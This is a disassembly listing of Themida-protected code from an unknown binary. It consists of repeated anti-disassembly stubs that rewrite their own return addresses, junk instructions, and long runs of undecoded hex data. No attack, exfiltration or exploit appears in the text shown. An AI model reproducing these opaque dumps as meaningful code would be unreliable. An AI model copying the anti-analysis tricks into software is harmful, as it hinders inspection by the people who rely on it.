; =============== S U B R O U T I N E =======================================
sub_5C0BE8 proc near ; CODE XREF: Themida_:005C0BE0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C0BE8 endp
; ---------------------------------------------------------------------------
dd 0A7FEC971h, 99D8B80h, 8306122Bh, 120011BDh, 850F0306h
dd 429h, 0E5B50B60h, 81061214h, 665D44C9h, 0BD83616Eh
dd 615BD0Ch, 0E840F00h, 6A000004h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 1DDFC351h
dd 0B7071D02h, 2767835Dh, 0FFDE8B66h, 15BD0CB5h, 95FFF906h
dd 6122029h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 67C35747h, 0C9BD8B39h, 8B061220h, 15BD00B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0ED597BC4h, 65903A1Ch, 10E9h, 92CE0900h, 0EB915B38h
dd 2EA405A0h, 8832DB04h, 106C758h, 6A000100h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 9C96C353h, 5054A104h, 6A243489h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FC5C356h
dd 9D29FFB7h, 61231C9h, 0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 934B8CC3h
dd 0E195FF9Ch, 6A06121Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0A990C357h, 2D6FE43Bh
dd 7A6CBF98h, 0B58B2425h, 615BD00h, 164D9D8Bh, 858B0612h
dd 6123039h, 1D51BD89h, 86890612h, 0C4h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0F1C35343h, 0B89C8AA9h
dd 3860Fh, 0BF0F0000h, 0CD958BDFh, 6A06122Dh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 89DCC351h, 896441DBh, 12276195h, 4C28306h, 205089F8h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 46C35747h
dd 586EA8E3h, 858DFE8Bh, 615D0EAh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 0FFC35545h, 69DADDB5h, 618D01B4h
dd 89061203h, 122D219Dh, 35858906h, 89061234h, 0B886h
dd 6A006A00h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0FA87C356h, 0F529A01Fh, 799531h
dd 85890612h, 61229E1h, 0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 89139CC3h
dd 0FFD673A0h, 122CD595h, 9D8B6006h, 612045Dh, 38E0Fh
dd 0B70F0000h, 509661DFh, 4A4CBF52h, 310F2F3Eh, 585AFB8Bh
dd 9B67BF50h, 6A9669CCh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 130AC350h, 8FF8031Fh
dd 0F259D2Bh, 95890612h, 6122E41h, 0BD0CB5FFh, 8D290615h
dd 6122E25h, 2E2995FFh, 6A0612h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 0ED08F6C3h, 74DBD695h
dd 89057ADAh, 12000995h, 89BD8306h, 61211h, 31840Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 193634C3h, 24348950h, 9840Fh, 860F0000h, 3, 0FFCBE380h
dd 15BD0CB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 0FFDF8BF9h, 122AA595h, 20BF6606h
dd 0CB5FFCEh, 600615BDh, 7BCE8166h, 19BD8987h, 6106122Ch
dd 1BB195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0E7EDD2C3h, 2A41BD83h, 0F020612h
dd 4184h, 0BE86000h, 0E6000000h, 3FB4462Fh, 0CF62056Eh
dd 10E84D44h, 17000000h, 5C15AA6Ch, 32D4162Ah, 0C9604BBh
dd 5A9AB1FCh, 0B5B5895Ah, 61061227h, 18A9858Bh, 8B660612h
dd 0C6DAh, 2858D89h, 85C70612h, 6120301h, 0
; ---------------------------------------------------------------------------
jmp loc_5C1039
; ---------------------------------------------------------------------------
db 6Ah, 0A2h, 0B6h
dd 13CB1D1Eh, 871434CEh, 67ED52F2h
db 0E1h
; ---------------------------------------------------------------------------
loc_5C1039: ; CODE XREF: Themida_:005C1024j
jmp loc_5C0378
; ---------------------------------------------------------------------------
dw 0DE8h
dd 0B6000000h, 0F8613B94h, 83BD884Dh, 7CB40D07h, 661597BFh
dd 0C18B5F7Ah, 0B418D01h, 858D0612h, 6120065h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B0C35747h, 55CBBB66h
dd 6CBF6650h, 240489A6h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 56C35141h, 6AF8AAh, 5E9h, 0C8AFF100h
dd 0BD0122A6h, 61230A1h, 0BF66006Ah, 858D6F4Dh, 6165777h
dd 68D0Fh, 0D3810000h, 697D2C0Bh, 1829B589h, 0C0830612h
dd 8950F505h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 0B7E506C3h, 6A006AECh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 5595FFE0h, 6A06120Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0B161C356h, 6C4275C5h
dd 9E86027h, 2F000000h, 2FCDBE74h, 0E09B0A27h, 0AE9h, 1E5BDF00h
dd 76A3FBE8h, 5F938AB6h, 6840Fh, 8D890000h, 61225EDh, 819D3361h
dd 8D061216h, 159BCA8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 3258CEAFh, 1DE19D01h
dd 0D1FF0612h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0FDC35141h, 0BE9h, 0CD8A3000h, 0DA273F43h, 4FEDCAABh
dd 0EE9BD83h, 0F010612h, 7085h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0E84E2CE3h
dd 459D8B0Bh, 6A061203h, 0FABF0F02h, 840F5090h, 11h, 0AE951h
dd 0EC740000h, 6A75FDC3h, 930976ACh, 8166905Fh, 0FFAA53D3h
dd 122CD595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 0B3922BC8h, 0C97E90Ch, 0E80000h
dd 5D000000h, 5781ED81h, 9D8B0616h, 6122CB9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E4C35040h, 96A0C692h
dd 968F858Dh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0FE7278C3h, 0F12020BFh, 8A52506Dh
dd 4895BFEh, 15858924h, 8A061200h, 35FF64DEh, 0
; ---------------------------------------------------------------------------
mov ebx, esi
mov large fs:0, esp
push 0
push edi
call sub_5C12DC
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C12DC proc near ; CODE XREF: Themida_:005C12D4p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5C12DC endp
; ---------------------------------------------------------------------------
xchg eax, edi
mov ch, 5
db 67h
dec ecx
mov esp, [esi+51BD8BF3h]
adc al, 12h
push es
inc dword ptr [ebp+6121235h]
jno loc_5C130C
mov ebx, [ebp+6122849h]
loc_5C130C: ; CODE XREF: Themida_:005C1300j
push 0FFFFFFFFh
mov edi, 5191037Bh
push dword ptr [ebp+61214C1h]
push 0
push ecx
call sub_5C1324
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1324 proc near ; CODE XREF: Themida_:005C131Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5C1324 endp
; ---------------------------------------------------------------------------
dd 0CD7B983Ch, 8B66BD2Ah, 7595FFF9h, 0E9061214h, 0F0h
dd 12399D23h, 0B00612h, 6890Fh, 9D230000h, 6121B59h, 0BD8970E6h
dd 61231FDh, 0BD2371E4h, 6122625h, 830F613Ch, 0C4h, 0FFE8B66h
dd 0BF0FC8B6h, 6BADEh, 9D8B0000h, 6121085h, 0ABBBC18Bh
dd 0C17B5CD7h, 14E804E8h, 8A000000h, 675849C2h, 0C7FEE962h
dd 80A1F895h, 0A5BA5D6Ch, 5B26CFF4h, 0B3E2F766h, 81575142h
dd 709BD6C3h, 2B5F5F6Bh, 0BD8B51C8h, 61203C1h, 0BFD18B5Bh
dd 2B9C4668h, 0E9h, 0FD858B00h, 89061220h, 120781BDh, 7C08306h
dd 0C083F8h, 1FC59D29h, 0D03B0612h, 10830Fh, 0B70F0000h
dd 3DE9F5D8h, 52000000h, 92BD37BFh, 8D8B5F71h, 61230DDh
dd 285D9D89h, 0E1830612h, 21840F01h, 0F000000h, 0A583FFB7h
dd 61230DDh, 0E381FEh, 8943DFA4h, 1220FD95h, 45850106h
dd 0E906122Ah, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+615ED16h]
mov bl, 0E1h
push 0
push 0
push esi
call sub_5C144D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C144D proc near ; CODE XREF: Themida_:005C1445p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5C144D endp
; ---------------------------------------------------------------------------
rol byte ptr [ecx-67549611h], 32h
call dword ptr [ebp+61229D1h]
push edx
add bx, 0FF69h
pop ebx
mov ecx, 855h
push 0
push esi
call sub_5C1481
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1481 proc near ; CODE XREF: Themida_:005C1479p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5C1481 endp
; ---------------------------------------------------------------------------
movsb
mov edx, 899F4206h
mov ah, 18h
xor [ebp+6121D35h], ecx
and ecx, 0FFFFFFFCh
push 0
push edx
call sub_5C14AD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C14AD proc near ; CODE XREF: Themida_:005C14A5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5C14AD endp
; ---------------------------------------------------------------------------
db 8Dh, 0CBh, 23h
; ---------------------------------------------------------------------------
sar byte ptr [edi+7793662Ch], 1
mov edi, [ebp+612266Dh]
cld
push 0
push edx
call sub_5C14D8
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C14D8 proc near ; CODE XREF: Themida_:005C14D0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5C14D8 endp
; ---------------------------------------------------------------------------
imul ecx, [ebx+6AC02BFBh], 0
push ebp
call sub_5C14F8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C14F8 proc near ; CODE XREF: Themida_:005C14F0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C14F8 endp
; ---------------------------------------------------------------------------
dd 67C918BCh, 8B8CEB9Dh, 121169BDh, 8BD22B06h, 1219199Dh
dd 0C233AD06h, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 6FF92FBFh, 88826828h, 6E95060h, 40000000h, 0E482EC45h
dd 8FBA5894h, 610AF3E3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0F1C35242h, 0E39F1C80h, 8B4F5493h, 880DF9h
dd 9D290000h, 6122889h, 2DCD958Bh, 6A0612h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0AFC6FC3h
dd 2129C9C2h, 1619D35h, 1221598Dh, 0ED853106h, 8B061222h
dd 1231BD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 2F44A154h, 5ED28734h, 2D358589h
dd 0BB660612h, 8B509B27h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 6ADEB70Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 8B05C356h, 12255D9Dh
dd 19BD8306h, 61214h, 6B840Fh, 0DB810000h, 67EA27ECh, 0B8h
dd 0DD87BB00h, 8D8D2D66h, 6124E4Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 4EC35646h, 9D8B8EA0h, 6122479h
dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 0CCE34AC3h, 2797554Ch, 53E278E2h, 0B5C78152h
dd 5F05B188h, 11BD835Fh, 61200h, 446840Fh, 0C7810000h
dd 81C90A4h, 7D852960h, 61061203h, 11BD83h, 0F010612h
dd 44684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 5C3139E3h, 470B2766h, 7166C381h
dd 0BD8340DAh, 6120011h, 0DA860F03h, 6A000003h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 0D16BC355h, 0D95A723Ch, 0F8B5758h, 160F8B7h, 120F4D85h
dd 0D98C6606h, 61FB8B60h, 0F04E180h, 0C90AF8BFh, 172840Fh
dd 0CBBF0000h, 8B4A3ECDh, 1224CD85h, 0F516006h, 86h, 0EE95F00h
dd 0E2000000h, 0F53BC80Ah, 0E9548529h, 46320148h, 85336111h
dd 612248Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0C2C35545h, 352129C9h, 0BF9CB81h, 52502623h, 2404895Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 93C35242h
dd 823C32Ah, 8DBD8B90h, 6A061229h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 8065A1D7h
dd 0A6308200h, 4E89Ah, 3FF0000h, 0E960001Fh, 7, 21451F85h
dd 0E8BDD9F9h, 5, 1672C096h, 50615BECh, 424448Bh, 0F60008Bh
dd 48Ch, 0EEBE6600h, 3C00BA73h, 89611EC4h, 58042444h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CAC35141h, 0E9535773h
dd 14h, 0A74F794Eh, 50D2791Bh, 0C8BFA025h, 0E328D0D6h
dd 64FAEA6Ah, 95FF5F5Fh, 6123031h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 26C35646h, 0D0700B22h, 6660FBE2h
dd 0FB9C68Bh, 6166BC8Ch, 1CC58D89h, 85890612h, 615BD0Ch
dd 2A719D8Bh, 9D2B0612h, 6121CE9h, 1BEE9h, 0F5F98B00h
dd 0BD04858Bh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 9A9D24C3h, 4F576C92h, 0BBB62DB5h
dd 20EC6C2Eh, 1800C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 0EE4AF8C3h, 0A239D258h
dd 4870Fh, 0BB660000h, 0B58B75E3h, 615BD08h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B7C35747h, 2C1BD8Bh
dd 858B0612h, 6122399h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 3EC35646h, 0DA8B6631h, 850F0689h, 1
dd 0CD858BF9h, 6A061224h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 71FCC357h, 74D68431h
dd 89271F17h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0C0A080C3h, 6E99Ch, 284C0000h, 0AC6E74DFh
dd 8A5025B3h, 243489FEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0D0C35545h, 0DE8B4688h, 0BD04B5FFh, 6A0615h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0D29071C3h, 7DC16821h, 0BB66F397h, 4819CA0h, 87863E24h
dd 0CE90Ch, 865B0000h, 558EAA77h, 0EBB1EFC1h, 858D5680h
dd 615BD0Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 68C35242h, 50CCED09h, 840Fh, 4890000h, 0FFFE8B24h
dd 12303195h, 0C1E38106h, 61763385h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 77C35141h, 33C197EFh, 121391BDh
dd 1185C706h, 3061200h, 0E9000000h, 14h, 0EFEA2164h, 7F3A15C0h
dd 21F666CDh, 46834684h, 3E21F040h, 13ED9D89h, 0BD830612h
dd 615BD0Ch, 0E840F00h, 89000000h, 121AE5BDh, 1EE906h
dd 0BF0F0000h, 0C3050FBh, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 846EBB66h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 8EC35747h, 0A06A5193h, 72C9DD8Ah
dd 11BD83F5h, 3061200h, 36D850Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 594E5FC3h
dd 0C224027Ah, 0BF0FDDD3h, 0CBD83DFh, 615BDh, 339840Fh
dd 95890000h, 6120899h, 0BD0CB5FFh, 60530615h, 901C380h
dd 1232D5BDh, 0FF5B6106h, 12202995h, 0DABF0F06h, 0BD00B58Bh
dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 363EFCC3h, 91C685B3h, 0CD8D0928h, 0C7061212h
dd 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 860F0817h, 2, 8B50FD8Ah, 243489F8h
dd 20C99D23h, 0B5FF0612h, 615BD0Ch, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 5DC35747h, 0A6A32B77h, 0D185895Bh
dd 0FF061228h, 121AE195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0F5A03BF5h
dd 98BF7080h, 8EBB93A4h, 8B48CFAEh, 15BD00B5h, 39858B06h
dd 8B061230h, 1214659Dh, 0C4868906h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 269DC357h, 0B480197Fh, 8B2F3081h, 122DCD95h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0E975522Ah, 8343C5CFh, 0BD2904C2h, 6121909h, 0F205089h
dd 68Bh, 0ADBD8900h, 8D06122Fh, 15D0EA85h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 29CAAA1Bh, 122AA995h, 0B8868906h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 2817C355h, 11DCC0E0h, 12FABF66h, 8E9h, 933B7E00h, 0BEB7524Ch
dd 29006AAEh, 122F4D95h, 0CB5FF06h, 6A0615BDh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 1FC5C352h, 0DB818A85h, 55DFB015h, 2CD595FFh, 9D8B0612h
dd 6120069h, 0DE8B6696h, 96F88B50h, 0B5FFC8B7h, 615BD0Ch
dd 6541BF66h, 13E8h, 45873D00h, 13ADEE19h, 2717EC28h, 0F8B42962h
dd 0D3B952A6h, 8858D89h, 0FF5F0612h, 122E2995h, 84BB6606h
dd 89BD8340h, 61211h, 3B840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 7FC1AC3h
dd 0DB6FE2FCh, 4830F96h, 66000000h, 500D23BFh, 310F5250h
dd 0E9F6BBFh, 96585A2Bh, 0CB5FFFCh, 6A0615BDh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0B4CAC352h, 663FC5C3h, 865DE381h, 2AA595FFh, 66F90612h
dd 0B5FFDE8Bh, 615BD0Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 46C35343h, 39688575h, 35EDA838h, 95FFFB8Bh
dd 6121BB1h, 2A41BD83h, 0F020612h, 2E84h, 0FD9D8B00h, 8B061203h
dd 1218A985h, 13830F06h, 0E8000000h, 0Bh, 8A1B826Dh, 97FE3946h
dd 50124506h, 0C65B5Bh, 0C59D8B00h, 0C7061225h, 12030185h
dd 6, 69BD8B00h, 0E9061227h, 0FFFFF430h, 2F21BD8Bh, 8B660612h
dd 89C18BD8h, 12309985h, 65858D06h, 29061200h, 1209158Dh
dd 698D8906h, 50061200h, 0F88B5250h, 8B66310Fh, 89585ADFh
dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 80F33CC3h, 11958B60h, 0E9061234h, 0Bh, 933B053h
dd 5BB02BB6h, 61F3AB69h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0E82B4EC3h, 0AC69E27Eh
dd 6AEC1CFFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0BCF6CBEAh, 0BE9h, 0A7DBF700h, 6263EED7h
dd 3977ABCDh, 2375BD89h, 858D0612h, 6166655h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1BC35141h, 6B2B7F68h
dd 9D8B66FCh, 6120285h, 6A05C083h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DFA3C353h
dd 0C5BD8959h, 31061203h, 122FA59Dh, 0FD8A9006h, 0BF0F9050h
dd 89006AF9h, 1218A5BDh, 6A006A06h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0DA79C352h
dd 95FFE24Dh, 6120B55h, 0CE9h, 99AAE800h, 6F814F7h, 0AAA95190h
dd 0CA8D8DC0h, 8906159Bh, 12186D95h, 0FD1FF06h, 0BD83FFBFh
dd 6120EE9h, 0CC850F01h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 637CC353h
dd 0CF819C28h, 5AAE1913h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0A4D7FDC3h, 0F1237AB0h
dd 90B02ED8h, 11E95250h, 7A000000h, 7821A297h, 0D38CD15Bh
dd 963DB767h, 548D640Bh, 6660310Fh, 0FE8C78Bh, 5B000000h
dd 1C926A5Bh, 8A6A03F1h, 3504701Fh, 61581382h, 5750585Ah
dd 7E8h, 0C23A0600h, 0C6E15F99h, 310F5250h, 5F5B585Ah
dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0FD111786h, 0FFFC4A8Bh, 122CD595h, 5E906h
dd 70070000h, 0E9356F1Ch, 0E38h, 0E8h, 0ED815D00h, 616665Fh
dd 8AFAB70Fh, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 11BD8B2Ah, 8D061233h, 15968F85h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 661DB1A9h, 0DDF9DF81h, 1F850F50h, 50000000h
dd 13E852h, 91190000h, 83C90C99h, 0EA2B20B3h, 0A44CADD1h
dd 752945D7h, 310F5BFEh, 489585Ah, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0F2F669FCh
dd 0A5BD896Bh, 0E9061214h, 0Ch, 6833E1A2h, 0C3A563E7h
dd 4609A3C4h, 35FF64h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B190C350h
dd 0DE8B66C6h, 26D59D8Bh, 89640612h, 25h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0B8A048B2h, 8C62F0ABh, 80F55EBAh, 85FFFAF3h, 6121235h
dd 0EEDBD8Bh, 0FF6A0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 0BAC35646h, 51A34C92h, 9589B5DAh, 61207CDh
dd 29D99D89h, 0B5FF0612h, 61229E5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 0FAC35141h, 0FDBF52D6h, 0FF69E821h
dd 12147595h, 105E906h, 0BB660000h, 0B09CBCh, 6070E6F9h
dd 20018D89h, 0E4610612h, 0CE871h, 9C460000h, 15D05994h
dd 0A90BE10Ah, 5FFC561Ch, 830F613Ch, 0D7h, 80C8B60Fh, 6BA02DFh
dd 8B000000h, 2830FFEh, 8B000000h, 66C18BFAh, 0E8C1F88Bh
dd 919D8B04h, 6606121Dh, 2BF8E2F7h, 0E870FC8h, 60000000h
dd 4C3BD081h, 95296A3Eh, 6122A3Dh, 0F8D18B61h, 0E9h, 2D858B00h
dd 8906121Eh, 121FA985h, 7C08306h, 159D89h, 0C0830612h
dd 0EE900h, 92570000h, 0FE2D4DE7h, 259B1523h, 0F2E2D1D9h
dd 830FD03Bh, 20h, 0FE8h, 0A228D900h, 0FB004FFCh, 0DDBDCA5Bh
dd 4EF80CD2h, 109DBD0Bh, 0E95B0612h, 3Fh, 23498D8Bh, 8D890612h
dd 6121D69h, 0F01E183h, 2A84h, 7E900h, 15500000h, 0D1BE308Ah
dd 49A58319h, 0FE061223h, 158DB509h, 95890612h, 6121E2Dh
dd 8F1BD29h, 0E90612h, 8D000000h, 15F702B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0ACA8A110h, 277DBD8Bh, 6A0612h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0FFC35545h, 0C1DF8001h, 29D195FFh
dd 7AB30612h, 8F1B9h, 0FCE18300h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 0D4C35646h, 95FDA398h, 2635BD8Bh
dd 0F8FC0612h, 0D22BC02Bh, 0B59D09h, 10B30612h, 0D1C233ADh
dd 83D003E8h, 0F47504E9h, 888ACF81h, 6A6DDDh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D2BA18C3h
dd 0BB139C53h, 5B70E4E4h, 880Dh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 4DE6C418h
dd 0C1EB8036h, 958B4725h, 6122DCDh, 0DE8h, 2717EC00h, 0F8B42962h
dd 0D3B952A6h, 8B5F5D62h, 1231BD8Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 52BD513Ch
dd 8B50F9FEh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8FC35343h
dd 27D83014h, 4E04335Dh, 59F380B0h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 49C35343h, 1024C83Dh, 0BF0755FCh
dd 0D8B70FE9h, 6860Fh, 66500000h, 5BAA76BFh, 1419BD83h
dd 0F000612h, 6F84h, 5E800h, 0B2E30000h, 0BB8205CEh, 9596FC1h
dd 0B85Bh, 0D88B0000h, 4E4B8D8Dh, 6A0612h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 76575DC3h
dd 0DBDBB92h, 0E1FF4265h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 21C35343h, 6E03D5D9h, 1B52941h, 6606122Ah
dd 460EDF81h, 11BD83h, 0F000612h, 49E84h, 59F78100h, 8315A1F0h
dd 120011BDh, 840F0106h, 4A6h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 0D5C35646h, 8B2EA8A3h, 120B519Dh
dd 28B0F06h, 8B000000h, 11BD83D8h, 3061200h, 436860Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 553BE8C3h, 8BF18B60h, 120B2595h, 9D8B6106h
dd 6122711h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0BA968ACBh, 8B532820h, 12214DBDh
